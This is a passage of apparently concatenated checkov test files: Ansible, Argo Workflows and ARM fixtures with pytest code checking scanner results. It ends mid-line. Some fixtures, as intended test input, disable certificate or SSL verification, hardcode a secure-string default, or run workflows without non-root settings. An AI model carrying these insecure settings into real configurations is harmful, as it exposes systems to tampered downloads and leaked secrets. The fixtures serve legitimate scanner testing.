tests/ansible/checks/task/builtin/GetUrlValidateCerts/expected.yaml ================================================ pass: - "tasks.ansible.builtin.get_url.default" - "tasks.get_url.enabled" fail: - "tasks.get_url.disabled" ================================================ FILE: tests/ansible/checks/task/builtin/GetUrlValidateCerts/fail.yaml ================================================ --- - name: Verify tests hosts: all gather_facts: False tasks: - name: disabled get_url: url: https://example.com/path/file.conf dest: /etc/foo.conf force_basic_auth: yes validate_certs: false ================================================ FILE: tests/ansible/checks/task/builtin/GetUrlValidateCerts/pass.yaml ================================================ --- - name: Verify tests hosts: all gather_facts: False tasks: - name: default ansible.builtin.get_url: url: https://example.com/path/file.conf dest: /etc/foo.conf mode: '0440' - name: enabled get_url: url: https://example.com/path/file.conf dest: /etc/foo.conf force_basic_auth: yes validate_certs: true ================================================ FILE: tests/ansible/checks/task/builtin/UriValidateCerts/expected.yaml ================================================ pass: - "tasks.ansible.builtin.uri.default" - "tasks.uri.enabled" fail: - "tasks.uri.disabled" ================================================ FILE: tests/ansible/checks/task/builtin/UriValidateCerts/fail.yaml ================================================ --- - name: Verify tests hosts: all gather_facts: False tasks: - name: disabled uri: url: https://www.example.com return_content: yes validate_certs: false register: this failed_when: "'AWESOME' not in this.content" ================================================ FILE: tests/ansible/checks/task/builtin/UriValidateCerts/pass.yaml ================================================ --- - name: Verify tests hosts: all gather_facts: False tasks: - name: default ansible.builtin.uri: url: https://www.example.com - name: enabled uri: url: https://www.example.com return_content: yes validate_certs: true register: this failed_when: "'AWESOME' not in this.content" ================================================ FILE: tests/ansible/checks/task/builtin/YumSslVerify/expected.yaml ================================================ pass: - "tasks.ansible.builtin.yum.default" - "tasks.yum.enabled" fail: - "tasks.yum.disabled" ================================================ FILE: tests/ansible/checks/task/builtin/YumSslVerify/fail.yaml ================================================ --- - name: Verify tests hosts: all gather_facts: False tasks: - name: disabled yum: name: httpd>=2.4 state: present sslverify: false ================================================ FILE: tests/ansible/checks/task/builtin/YumSslVerify/pass.yaml ================================================ --- - name: Verify tests hosts: all gather_facts: False tasks: - name: default ansible.builtin.yum: name: httpd state: latest - name: enabled yum: name: httpd>=2.4 state: present sslverify: true ================================================ FILE: tests/ansible/checks/task/builtin/YumValidateCerts/expected.yaml ================================================ pass: - "tasks.ansible.builtin.yum.default" - "tasks.yum.enabled" fail: - "tasks.yum.disabled" ================================================ FILE: tests/ansible/checks/task/builtin/YumValidateCerts/fail.yaml ================================================ --- - name: Verify tests hosts: all gather_facts: False tasks: - name: disabled yum: name: httpd>=2.4 state: present validate_certs: false ================================================ FILE: tests/ansible/checks/task/builtin/YumValidateCerts/pass.yaml ================================================ --- - name: Verify tests hosts: all gather_facts: False tasks: - name: default ansible.builtin.yum: name: httpd state: latest - name: enabled yum: name: httpd>=2.4 state: present validate_certs: true ================================================ FILE: tests/ansible/checks/task/builtin/__init__.py ================================================ ================================================ FILE: tests/ansible/checks/test_python_policies.py ================================================ from __future__ import annotations from pathlib import Path import pytest from checkov.ansible.runner import Runner from checkov.runner_filter import RunnerFilter from tests.common.graph.checks.test_yaml_policies_base import load_yaml_data BASE_DIR = Path(__file__).parent CHECK_ID_MAP: "dict[str, str]" = {} # will be filled via setup() # Builtin module checks def test_GetUrlValidateCerts(): run_check(base_path=BASE_DIR / "task/builtin", check="GetUrlValidateCerts") def test_UriValidateCerts(): run_check(base_path=BASE_DIR / "task/builtin", check="UriValidateCerts") def test_YumSslVerify(): run_check(base_path=BASE_DIR / "task/builtin", check="YumSslVerify") def test_YumValidateCerts(): run_check(base_path=BASE_DIR / "task/builtin", check="YumValidateCerts") def test_AptAllowUnauthenticated(): run_check(base_path=BASE_DIR / "task/builtin", check="AptAllowUnauthenticated") def test_AptForce(): run_check(base_path=BASE_DIR / "task/builtin", check="AptForce") # AWS module checks def test_EC2EBSOptimized(): run_check(base_path=BASE_DIR / "task/aws", check="EC2EBSOptimized") def test_EC2PublicIP(): run_check(base_path=BASE_DIR / "task/aws", check="EC2PublicIP") @pytest.fixture(autouse=True) def setup(): global CHECK_ID_MAP registry = Runner().import_registry() CHECK_ID_MAP = {check.__class__.__name__: check.id for entity, check in registry.all_checks()} def run_check(base_path: Path, check: str) -> None: # set path where to find test files test_dir_path = base_path / check # setup Ansible runner runner = Runner() # run actual check report = runner.run(root_folder=str(test_dir_path), runner_filter=RunnerFilter(checks=CHECK_ID_MAP[check])) # get actual results summary = report.get_summary() passed_checks = {check.resource for check in report.passed_checks} failed_checks = {check.resource for check in report.failed_checks} # get expected results expected = load_yaml_data(dir_path=test_dir_path, source_file_name="expected.yaml") # make sure it is a dict assert isinstance(expected, dict) expected_to_pass = expected.get("pass") or [] expected_to_fail = expected.get("fail") or [] # check, if results are correct assert summary["passed"] == len(expected_to_pass) assert summary["failed"] == len(expected_to_fail) assert summary["skipped"] == 0 assert summary["parsing_errors"] == 0 assert passed_checks == set(expected_to_pass) assert failed_checks == set(expected_to_fail) ================================================ FILE: tests/ansible/examples/blocks.yml ================================================ --- - name: Verify tests hosts: all gather_facts: False tasks: - name: Install, configure, and start Apache block: - name: Install httpd and memcached ansible.builtin.yum: name: - httpd - memcached sslverify: False state: latest - name: Apply the foo config template ansible.builtin.template: src: templates/src.j2 dest: /etc/foo.conf - name: Start service bar and enable it ansible.builtin.service: name: bar state: started enabled: True when: ansible_facts['distribution'] == 'CentOS' become: true become_user: root ignore_errors: true ================================================ FILE: tests/ansible/examples/empty_tasks.yml ================================================ --- - name: Using a Role hosts: all roles: - role: somerolename tasks: ================================================ FILE: tests/ansible/examples/nested_blocks.yml ================================================ --- - name: Verify tests hosts: all gather_facts: False tasks: - name: 1st level block block: - name: 2nd level block block: - name: 3rd level block block: - name: 4th level block block: - name: 5th level block block: - name: 6th level uri ansible.builtin.uri: url: https://www.example.com - name: 5th level uri ansible.builtin.uri: url: https://www.example.com - name: 4th level uri ansible.builtin.uri: url: https://www.example.com - name: 3rd level uri ansible.builtin.uri: url: https://www.example.com - name: 2nd level uri ansible.builtin.uri: url: https://www.example.com - name: 1st level uri ansible.builtin.uri: url: https://www.example.com ================================================ FILE: tests/ansible/examples/no_tasks.yml ================================================ --- - name: Sample play hosts: - test roles: - role: somerole ================================================ FILE: tests/ansible/examples/site.yml ================================================ --- - name: Verify tests hosts: all gather_facts: False tasks: - name: Get Running instance Info amazon.aws.ec2_instance_info: register: ec2info - name: enabled amazon.aws.ec2_instance: name: "public-compute-instance" key_name: "prod-ssh-key" vpc_subnet_id: subnet-5ca1ab1e instance_type: c5.large security_group: default network: assign_public_ip: true image_id: ami-123456 ebs_optimized: true ================================================ FILE: tests/ansible/examples/skip.yml ================================================ - hosts: localhost gather_facts: false tasks: - name: Launch ec2 instances 1 #checkov:skip=CKV_AWS_135 amazon.aws.ec2_instance: name: "bc-office-hours" vpc_subnet_id: subnet-012d94ee641ab4277 instance_type: t3.micro security_group: sg-04acc4e02a5b71244 image_id: "{{ ami_latest.image_id }}" state: running - name: Launch ec2 instances 2 amazon.aws.ec2_instance: #checkov:skip=CKV_AWS_88 name: "bc-office-hours" vpc_subnet_id: subnet-012d94ee641ab4277 instance_type: t3.micro security_group: sg-04acc4e02a5b71244 image_id: "{{ ami_latest.image_id }}" state: running - name: http #checkov:skip=CKV2_ANSIBLE_1 uri: url: http://www.example.com return_content: yes register: this failed_when: "'AWESOME' not in this.content" ================================================ FILE: tests/ansible/examples/tasks.yml ================================================ --- - name: Check that you can connect (GET) to a page uri: url: https://www.example.com - name: Download foo.conf ansible.builtin.get_url: url: https://example.com/path/file.conf dest: /etc/foo.conf mode: '0440' validate_certs: false ================================================ FILE: tests/ansible/graph_builder/__init__.py ================================================ ================================================ FILE: tests/ansible/graph_builder/test_local_graph.py ================================================ from pathlib import Path from checkov.common.graph.graph_builder import CustomAttributes from checkov.common.graph.graph_builder.graph_components.block_types import BlockType from checkov.ansible.graph_builder.graph_components.resource_types import ResourceType from checkov.ansible.graph_builder.local_graph import AnsibleLocalGraph from checkov.ansible.runner import Runner EXAMPLES_DIR = Path(__file__).parent.parent / "examples" def test_build_graph(): # given test_file_site = str(EXAMPLES_DIR / "site.yml") test_file_tasks = str(EXAMPLES_DIR / "tasks.yml") template_site, _ = Runner()._parse_file(f=test_file_site) template_tasks, _ = Runner()._parse_file(f=test_file_tasks) local_graph = AnsibleLocalGraph( definitions={ test_file_site: template_site, test_file_tasks: template_tasks, } ) # when local_graph.build_graph(render_variables=False) # then assert len(local_graph.vertices) == 4 assert len(local_graph.vertices_by_block_type[BlockType.RESOURCE]) == 4 tasks_ids = [ vertex.id for vertex in local_graph.vertices if vertex.attributes.get(CustomAttributes.RESOURCE_TYPE).startswith(ResourceType.TASKS) ] assert tasks_ids == [ "tasks.amazon.aws.ec2_instance_info.Get Running instance Info", "tasks.amazon.aws.ec2_instance.enabled", "tasks.uri.Check that you can connect (GET) to a page", "tasks.ansible.builtin.get_url.Download foo.conf", ] ================================================ FILE: tests/ansible/test_graph_manager.py ================================================ from pathlib import Path from checkov.common.graph.db_connectors.networkx.networkx_db_connector import NetworkxConnector from checkov.common.graph.graph_builder import CustomAttributes from checkov.common.graph.graph_builder.graph_components.block_types import BlockType from checkov.common.runners.graph_manager import ObjectGraphManager from checkov.ansible.graph_builder.local_graph import AnsibleLocalGraph from checkov.ansible.runner import Runner from checkov.common.util.consts import START_LINE, END_LINE EXAMPLES_DIR = Path(__file__).parent / "examples" def test_build_graph_from_definitions(): # given test_file = str(EXAMPLES_DIR / "site.yml") graph_manager = ObjectGraphManager(db_connector=NetworkxConnector(), source="Ansible") template, _ = Runner()._parse_file(f=test_file) # when local_graph = graph_manager.build_graph_from_definitions( definitions={test_file: template}, graph_class=AnsibleLocalGraph ) # then assert len(local_graph.vertices) == 2 task_idx = local_graph.vertices_by_path_and_name[(test_file, "tasks.amazon.aws.ec2_instance.enabled")] task = local_graph.vertices[task_idx] assert task.block_type == BlockType.RESOURCE assert task.id == "tasks.amazon.aws.ec2_instance.enabled" assert task.source == "Ansible" assert task.attributes[CustomAttributes.RESOURCE_TYPE] == "tasks.amazon.aws.ec2_instance" assert task.attributes[START_LINE] == 11 assert task.attributes[END_LINE] == 22 assert task.config == {'name': 'enabled', 'amazon.aws.ec2_instance': {'name': 'public-compute-instance', 'key_name': 'prod-ssh-key', 'vpc_subnet_id': 'subnet-5ca1ab1e', 'instance_type': 'c5.large', 'security_group': 'default', 'network': {'assign_public_ip': True, '__startline__': 19, '__endline__': 20}, 'image_id': 'ami-123456', 'ebs_optimized': True, '__startline__': 13, '__endline__': 22}, '__startline__': 11, '__endline__': 22} ================================================ FILE: tests/ansible/test_runner.py ================================================ from pathlib import Path import pytest from checkov.ansible.checks.registry import registry from checkov.ansible.runner import Runner from checkov.common.bridgecrew.check_type import CheckType from checkov.common.bridgecrew.severities import Severities, BcSeverities from checkov.common.graph.db_connectors.networkx.networkx_db_connector import NetworkxConnector from checkov.common.graph.db_connectors.rustworkx.rustworkx_db_connector import RustworkxConnector from checkov.runner_filter import RunnerFilter EXAMPLES_DIR = Path(__file__).parent / "examples" def test_registry_has_type(): assert registry.report_type == CheckType.ANSIBLE @pytest.mark.parametrize( "graph_connector", [ NetworkxConnector, RustworkxConnector, ], ) def test_runner_honors_enforcement_rules(graph_connector): # given test_file = EXAMPLES_DIR / "site.yml" # when filter = RunnerFilter(framework=["ansible"], use_enforcement_rules=True) # this is not quite a true test, because the checks don't have severities. However, this shows that the check registry # passes the report type properly to RunnerFilter.should_run_check, and we have tests for that method filter.enforcement_rule_configs = {CheckType.ANSIBLE: Severities[BcSeverities.OFF]} report = Runner(db_connector=graph_connector()).run(root_folder="", files=[str(test_file)], runner_filter=filter) # then summary = report.get_summary() assert summary["passed"] == 0 assert summary["failed"] == 0 assert summary["skipped"] == 0 assert summary["parsing_errors"] == 0 @pytest.mark.parametrize( "graph_connector", [ NetworkxConnector, RustworkxConnector, ], ) def test_runner_passing_check(graph_connector): # given test_file = EXAMPLES_DIR / "site.yml" # when report = Runner(db_connector=graph_connector()).run( root_folder="", files=[str(test_file)], runner_filter=RunnerFilter(checks=["CKV_AWS_135"]) ) # then summary = report.get_summary() assert summary["passed"] == 1 assert summary["failed"] == 0 assert summary["skipped"] == 0 assert summary["parsing_errors"] == 0 @pytest.mark.parametrize( "graph_connector", [ NetworkxConnector, RustworkxConnector, ], ) def test_runner_failing_check(graph_connector): # given test_file = EXAMPLES_DIR / "site.yml" # when report = Runner(db_connector=graph_connector()).run( root_folder="", files=[str(test_file)], runner_filter=RunnerFilter(checks=["CKV_AWS_88"]) ) # then summary = report.get_summary() assert summary["passed"] == 0 assert summary["failed"] == 1 assert summary["skipped"] == 0 assert summary["parsing_errors"] == 0 @pytest.mark.parametrize( "graph_connector", [ NetworkxConnector, RustworkxConnector, ], ) def test_runner_skipping_check(graph_connector): # given test_file = EXAMPLES_DIR / "skip.yml" # when report = Runner(db_connector=graph_connector()).run( root_folder="", files=[str(test_file)], runner_filter=RunnerFilter(checks=["CKV2_ANSIBLE_1", "CKV_AWS_88", "CKV_AWS_135"]), ) # then summary = report.get_summary() assert summary["passed"] == 0 assert summary["failed"] == 2 assert summary["skipped"] == 3 assert summary["parsing_errors"] == 0 assert {check.check_id for check in report.skipped_checks} == {"CKV2_ANSIBLE_1", "CKV_AWS_88", "CKV_AWS_135"} ansible_1 = next(check for check in report.skipped_checks if check.check_id == "CKV2_ANSIBLE_1") aws_88 = next(check for check in report.skipped_checks if check.check_id == "CKV_AWS_88") aws_135 = next(check for check in report.skipped_checks if check.check_id == "CKV_AWS_135") assert ansible_1.resource == "tasks.uri.http" assert aws_88.resource == "tasks.amazon.aws.ec2_instance.Launch ec2 instances 2" assert aws_135.resource == "tasks.amazon.aws.ec2_instance.Launch ec2 instances 1" @pytest.mark.parametrize( "graph_connector", [ NetworkxConnector, RustworkxConnector, ], ) def test_runner_with_flat_tasks(graph_connector): # given test_file = EXAMPLES_DIR / "tasks.yml" # when report = Runner(db_connector=graph_connector()).run( root_folder="", files=[str(test_file)], runner_filter=RunnerFilter(checks=["CKV_ANSIBLE_1", "CKV_ANSIBLE_2"]) ) # then summary = report.get_summary() assert summary["passed"] == 1 assert summary["failed"] == 1 assert summary["skipped"] == 0 assert summary["parsing_errors"] == 0 passing_resources = { f"tasks.uri.Check that you can connect (GET) to a page", } failing_resources = { f"tasks.ansible.builtin.get_url.Download foo.conf", } passed_check_resources = {check.resource for check in report.passed_checks} failed_check_resources = {check.resource for check in report.failed_checks} assert passing_resources == passed_check_resources assert failing_resources == failed_check_resources @pytest.mark.parametrize( "graph_connector", [ NetworkxConnector, RustworkxConnector, ], ) def test_runner_with_block(graph_connector): # given test_file = EXAMPLES_DIR / "blocks.yml" checks = ["CKV_ANSIBLE_3", "CKV_ANSIBLE_4", "CKV2_ANSIBLE_3"] # when report = Runner(db_connector=graph_connector()).run( root_folder="", files=[str(test_file)], runner_filter=RunnerFilter(checks=checks) ) # then summary = report.get_summary() assert summary["passed"] == 1 assert summary["failed"] == 2 assert summary["skipped"] == 0 assert summary["parsing_errors"] == 0 passing_resources = { "tasks.block.ansible.builtin.yum.Install httpd and memcached", } failing_resources = { "tasks.block.ansible.builtin.yum.Install httpd and memcached", "block.Install, configure, and start Apache", } passed_check_resources = {check.resource for check in report.passed_checks} failed_check_resources = {check.resource for check in report.failed_checks} assert passing_resources == passed_check_resources assert failing_resources == failed_check_resources @pytest.mark.parametrize( "graph_connector", [ NetworkxConnector, RustworkxConnector, ], ) def test_runner_with_nested_blocks(graph_connector): # given test_file = EXAMPLES_DIR / "nested_blocks.yml" checks = ["CKV_ANSIBLE_1", "CKV2_ANSIBLE_3"] # when report = Runner(db_connector=graph_connector()).run( root_folder="", files=[str(test_file)], runner_filter=RunnerFilter(checks=checks) ) # then summary = report.get_summary() # if we increase the level of nested block levels for Python checks, then this goes up to 6 assert summary["passed"] == 4 assert summary["failed"] == 5 assert summary["skipped"] == 0 assert summary["parsing_errors"] == 0 passing_resources = { "tasks.ansible.builtin.uri.1st level uri", "tasks.block.ansible.builtin.uri.2nd level uri", "tasks.block.block.ansible.builtin.uri.3rd level uri", "tasks.block.block.block.ansible.builtin.uri.4th level uri", } failing_resources = { "block.1st level block", "block.block.2nd level block", "block.block.block.3rd level block", "block.block.block.block.4th level block", "block.block.block.block.block.5th level block", } passed_check_resources = {check.resource for check in report.passed_checks} failed_check_resources = {check.resource for check in report.failed_checks} assert passing_resources == passed_check_resources assert failing_resources == failed_check_resources @pytest.mark.parametrize( "graph_connector", [ NetworkxConnector, RustworkxConnector, ], ) def test_runner_with_no_tasks(graph_connector): # given test_file = EXAMPLES_DIR / "no_tasks.yml" # when report = Runner(db_connector=graph_connector()).run(root_folder="", files=[str(test_file)]) # then summary = report.get_summary() assert summary["passed"] == 0 assert summary["failed"] == 0 assert summary["skipped"] == 0 assert summary["parsing_errors"] == 0 @pytest.mark.parametrize( "graph_connector", [ NetworkxConnector, RustworkxConnector, ], ) def test_get_resource(graph_connector): # given file_path = "/example/site.yml" key = '[].tasks[?"amazon.aws.ec2_instance" != null][].[].tasks[?"amazon.aws.ec2_instance" != null][].CKV_AWS_135[6:12]' start_line = 8 end_line = 12 definition = [ { "name": "Verify tests", "hosts": "all", "gather_facts": False, "tasks": [ { "name": "enabled", "amazon.aws.ec2_instance": { "name": "public-compute-instance", "key_name": "prod-ssh-key", "vpc_subnet_id": "subnet-5ca1ab1e", "instance_type": "c5.large", "security_group": "default", "network": {"assign_public_ip": False, "__startline__": 14, "__endline__": 15}, "image_id": "ami-123456", "ebs_optimized": True, "__startline__": 8, "__endline__": 17, }, "__startline__": 6, "__endline__": 17, } ], "__startline__": 2, "__endline__": 17, } ] runner = Runner(db_connector=graph_connector()) runner.definitions = {file_path: definition} # when new_key = runner.get_resource( file_path=file_path, key=key, supported_entities=[], start_line=start_line, end_line=end_line, ) # then assert new_key == "tasks.amazon.aws.ec2_instance.enabled" @pytest.mark.parametrize( "graph_connector", [ NetworkxConnector, RustworkxConnector, ], ) def test_get_resource_without_name(graph_connector): # given file_path = "/example/site.yml" key = '[].tasks[?"amazon.aws.ec2_instance" != null][].[].tasks[?"amazon.aws.ec2_instance" != null][].CKV_AWS_135[6:12]' start_line = 8 end_line = 12 definition = [ { "name": "Verify tests", "hosts": "all", "gather_facts": False, "tasks": [ { "amazon.aws.ec2_instance": { "name": "public-compute-instance", "key_name": "prod-ssh-key", "vpc_subnet_id": "subnet-5ca1ab1e", "instance_type": "c5.large", "security_group": "default", "network": {"assign_public_ip": False, "__startline__": 14, "__endline__": 15}, "image_id": "ami-123456", "ebs_optimized": True, "__startline__": 8, "__endline__": 17, }, "__startline__": 6, "__endline__": 17, } ], "__startline__": 2, "__endline__": 17, } ] runner = Runner(db_connector=graph_connector()) runner.definitions = {file_path: definition} # when new_key = runner.get_resource( file_path=file_path, key=key, supported_entities=[], start_line=start_line, end_line=end_line, ) # then assert new_key == "tasks.amazon.aws.ec2_instance.unknown" def test_runner_process_utf16_file(): # given test_file = EXAMPLES_DIR / "k8s_utf16.yaml" # when report = Runner().run(root_folder="", files=[str(test_file)]) # then summary = report.get_summary() assert summary["passed"] == 0 assert summary["failed"] == 0 assert summary["skipped"] == 0 assert summary["parsing_errors"] == 0 ================================================ FILE: tests/ansible/test_utils.py ================================================ from pathlib import Path from checkov.ansible.runner import Runner from checkov.ansible.utils import build_definitions_context, create_definitions EXAMPLES_DIR = Path(__file__).parent / "examples" def test_build_definitions_context(): # given file_path = str(EXAMPLES_DIR / "skip.yml") definitions, definitions_raw = {}, {} definitions[file_path], definitions_raw[file_path] = Runner()._parse_file(f=file_path) # when context = build_definitions_context(definitions=definitions, definitions_raw=definitions_raw) assert len(context) == 1 definition_context = next(iter(context.values())) assert len(definition_context) == 3 task_context = definition_context["tasks.uri.http"] assert task_context["start_line"] == 24 assert task_context["end_line"] == 31 assert task_context["code_lines"] == [ (24, " - name: http\n"), (25, " #checkov:skip=CKV2_ANSIBLE_1\n"), (26, " uri:\n"), (27, " url: http://www.example.com\n"), (28, " return_content: yes\n"), (29, " register: this\n"), (30, " failed_when: \"'AWESOME' not in this.content\"\n"), (31, "\n"), ] for skip in task_context["skipped_checks"]: skip.pop("bc_id", None) # depending on the test order they are set or not assert task_context["skipped_checks"] == [ { "id": "CKV2_ANSIBLE_1", "line_number": 25, "suppress_comment": "No comment provided", } ] def test_create_definitions(): definitions, definitions_raw = create_definitions(root_folder=str(EXAMPLES_DIR)) assert len(definitions) > 0 assert all(key.endswith(".yml") or key.endswith(".yaml") and len(value) > 0 for key, value in definitions.items()) ================================================ FILE: tests/argo_workflows/__init__.py ================================================ ================================================ FILE: tests/argo_workflows/checks/__init__.py ================================================ ================================================ FILE: tests/argo_workflows/checks/template/__init__.py ================================================ ================================================ FILE: tests/argo_workflows/checks/template/example_DefaultServiceAccount/fail_default.yaml ================================================ apiVersion: argoproj.io/v1alpha1 kind: Workflow metadata: generateName: hello-world- spec: entrypoint: whalesay serviceAccountName: default templates: - name: whalesay container: image: docker/whalesay:latest command: [cowsay] args: ["hello world"] ================================================ FILE: tests/argo_workflows/checks/template/example_DefaultServiceAccount/fail_none.yaml ================================================ apiVersion: argoproj.io/v1alpha1 kind: Workflow metadata: generateName: hello-world- spec: entrypoint: whalesay templates: - name: whalesay container: image: docker/whalesay:latest command: [cowsay] args: ["hello world"] ================================================ FILE: tests/argo_workflows/checks/template/example_DefaultServiceAccount/pass.yaml ================================================ apiVersion: argoproj.io/v1alpha1 kind: Workflow metadata: generateName: hello-world- spec: entrypoint: whalesay serviceAccountName: custom-sa templates: - name: whalesay container: image: docker/whalesay:latest command: [cowsay] args: ["hello world"] ================================================ FILE: tests/argo_workflows/checks/template/example_RunAsNonRoot/fail.yaml ================================================ apiVersion: argoproj.io/v1alpha1 kind: Workflow metadata: generateName: hello-world- spec: entrypoint: whalesay templates: - name: whalesay container: image: docker/whalesay:latest command: [cowsay] args: ["hello world"] ================================================ FILE: tests/argo_workflows/checks/template/example_RunAsNonRoot/pass.yaml ================================================ apiVersion: argoproj.io/v1alpha1 kind: Workflow metadata: generateName: hello-world- spec: entrypoint: whalesay securityContext: runAsNonRoot: true runAsUser: 8737 templates: - name: whalesay container: image: docker/whalesay:latest command: [cowsay] args: ["hello world"] ================================================ FILE: tests/argo_workflows/checks/template/test_DefaultServiceAccount.py ================================================ from pathlib import Path from checkov.argo_workflows.runner import Runner from checkov.argo_workflows.checks.template.DefaultServiceAccount import check from checkov.runner_filter import RunnerFilter def test_examples(): # given test_files_dir = Path(__file__).parent / "example_DefaultServiceAccount" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { f"{test_files_dir}/pass.yaml.spec.spec.CKV_ARGO_1[6:14]", } failing_resources = { f"{test_files_dir}/fail_default.yaml.spec.spec.CKV_ARGO_1[6:14]", f"{test_files_dir}/fail_none.yaml.spec.spec.CKV_ARGO_1[6:13]", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} assert summary["passed"] == len(passing_resources) assert summary["failed"] == len(failing_resources) assert summary["skipped"] == 0 assert summary["parsing_errors"] == 0 assert passed_check_resources == passing_resources assert failed_check_resources == failing_resources ================================================ FILE: tests/argo_workflows/checks/template/test_RunAsNonRoot.py ================================================ from pathlib import Path from checkov.argo_workflows.runner import Runner from checkov.argo_workflows.checks.template.RunAsNonRoot import check from checkov.runner_filter import RunnerFilter def test_examples(): # given test_files_dir = Path(__file__).parent / "example_RunAsNonRoot" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { f"{test_files_dir}/pass.yaml.spec.spec.CKV_ARGO_2[6:16]", } failing_resources = { f"{test_files_dir}/fail.yaml.spec.spec.CKV_ARGO_2[6:13]", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} assert summary["passed"] == len(passing_resources) assert summary["failed"] == len(failing_resources) assert summary["skipped"] == 0 assert summary["parsing_errors"] == 0 assert passed_check_resources == passing_resources assert failed_check_resources == failing_resources ================================================ FILE: tests/argo_workflows/examples/argo_cd_application.yaml ================================================ apiVersion: argoproj.io/v1alpha1 kind: Application metadata: name: guestbook namespace: argocd spec: project: default source: repoURL: https://github.com/argoproj/argocd-example-apps.git targetRevision: HEAD path: guestbook destination: server: https://kubernetes.default.svc namespace: guestbook ================================================ FILE: tests/argo_workflows/examples/hello_world.yaml ================================================ apiVersion: argoproj.io/v1alpha1 kind: Workflow metadata: generateName: archive-location- spec: entrypoint: whalesay securityContext: runAsNonRoot: true runAsUser: 8737 templates: - name: whalesay container: image: docker/whalesay:latest command: [cowsay] args: ["hello world"] # archiveLocation allows configuring the archive location for a specific step archiveLocation: archiveLogs: true ================================================ FILE: tests/argo_workflows/examples/scripts_python.yaml ================================================ # https://github.com/argoproj/argo-workflows/blob/master/examples/scripts-python.yaml apiVersion: argoproj.io/v1alpha1 kind: Workflow metadata: generateName: scripts-python- spec: entrypoint: python-script-example templates: - name: python-script-example steps: - - name: generate template: gen-random-int - - name: print template: print-message arguments: parameters: - name: message value: "{{steps.generate.outputs.result}}" - name: gen-random-int script: image: python:alpine3.6 command: [python] source: | import random i = random.randint(1, 100) print(i) - name: print-message inputs: parameters: - name: message container: image: alpine:latest command: [sh, -c] args: ["echo result was: {{inputs.parameters.message}}"] ================================================ FILE: tests/argo_workflows/test_runner.py ================================================ from pathlib import Path from checkov.argo_workflows.runner import Runner from checkov.common.bridgecrew.check_type import CheckType from checkov.common.bridgecrew.severities import Severities, BcSeverities from checkov.common.images.image_referencer import Image from checkov.runner_filter import RunnerFilter from checkov.argo_workflows.checks.registry import registry EXAMPLES_DIR = Path(__file__).parent / "examples" def test_registry_has_type(): assert registry.report_type == CheckType.ARGO_WORKFLOWS def test_runner_honors_enforcement_rules(): # given test_file = EXAMPLES_DIR / "hello_world.yaml" # when filter = RunnerFilter(framework=['argo_workflows'], use_enforcement_rules=True) # this is not quite a true test, because the checks don't have severities. However, this shows that the check registry # passes the report type properly to RunnerFilter.should_run_check, and we have tests for that method filter.enforcement_rule_configs = {CheckType.ARGO_WORKFLOWS: Severities[BcSeverities.OFF]} report = Runner().run(root_folder="", files=[str(test_file)], runner_filter=filter) # then summary = report.get_summary() assert summary["passed"] == 0 assert summary["failed"] == 0 assert summary["skipped"] == 0 assert summary["parsing_errors"] == 0 def test_runner_passing_check(): # given test_file = EXAMPLES_DIR / "hello_world.yaml" # when report = Runner().run(root_folder="", files=[str(test_file)], runner_filter=RunnerFilter(checks=["CKV_ARGO_2"])) # then summary = report.get_summary() assert summary["passed"] == 1 assert summary["failed"] == 0 assert summary["skipped"] == 0 assert summary["parsing_errors"] == 0 def test_runner_failing_check(): # given test_file = EXAMPLES_DIR / "hello_world.yaml" # when report = Runner().run(root_folder="", files=[str(test_file)], runner_filter=RunnerFilter(checks=["CKV_ARGO_1"])) # then summary = report.get_summary() assert summary["passed"] == 0 assert summary["failed"] == 1 assert summary["skipped"] == 0 assert summary["parsing_errors"] == 0 def test_runner_ignore_argo_cd(): # given test_file = EXAMPLES_DIR / "argo_cd_application.yaml" # when report = Runner().run(root_folder="", files=[str(test_file)], runner_filter=RunnerFilter()) # then summary = report.get_summary() assert summary["passed"] == 0 assert summary["failed"] == 0 assert summary["skipped"] == 0 assert summary["parsing_errors"] == 0 assert summary["resource_count"] == 0 def test_get_image(): # given test_file = EXAMPLES_DIR / "scripts_python.yaml" # when images = Runner().get_images(str(test_file)) # then assert images == { Image( file_path=str(test_file), name="alpine:latest", start_line=33, end_line=36, ), Image( file_path=str(test_file), name="python:alpine3.6", start_line=22, end_line=28, ), } ================================================ FILE: tests/arm/__init__.py ================================================ ================================================ FILE: tests/arm/checks/__init__.py ================================================ ================================================ FILE: tests/arm/checks/parameter/__init__.py ================================================ ================================================ FILE: tests/arm/checks/parameter/test_SecureStringParameterNoHardcodedValue/test_parameters.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.1", "parameters": { "passing_no_default": { "type": "secureString" }, "passing_blank_default": { "type": "secureString", "defaultValue": "" }, "failing": { "type": "secureString", "defaultValue": "xyz" }, "not_securestring": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "The location of the Managed Cluster resource." } } }, "resources": [ { "apiVersion": "2019-02-01", "type": "Microsoft.ContainerService/managedClusters", "location": "[parameters('location')]", "name": "[parameters('clusterName')]", "properties": { "dnsPrefix": "[parameters('dnsPrefix')]", "agentPoolProfiles": [ { "name": "agentpool", "osDiskSizeGB": "[parameters('osDiskSizeGB')]", "count": "[parameters('agentCount')]", "vmSize": "[parameters('agentVMSize')]", "osType": "[parameters('osType')]", "storageProfile": "ManagedDisks" } ], "linuxProfile": { "adminUsername": "[parameters('linuxAdminUsername')]", "ssh": { "publicKeys": [ { "keyData": "[parameters('sshRSAPublicKey')]" } ] } }, "servicePrincipalProfile": { "clientId": "[parameters('servicePrincipalClientId')]", "Secret": "[parameters('servicePrincipalClientSecret')]" }, "apiServerAuthorizedIPRanges": [ "73.140.245.0/24" ] } } ], "outputs": { "controlPlaneFQDN": { "type": "string", "value": "[reference(parameters('clusterName')).fqdn]" } } } ================================================ FILE: tests/arm/checks/parameter/test_SecureStringParameterNoHardcodedValue.py ================================================ import os import unittest from checkov.arm.checks.parameter.SecureStringParameterNoHardcodedValue import check from checkov.arm.runner import Runner from checkov.runner_filter import RunnerFilter class TestSecureStringParameterNoHardcodedValue(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + 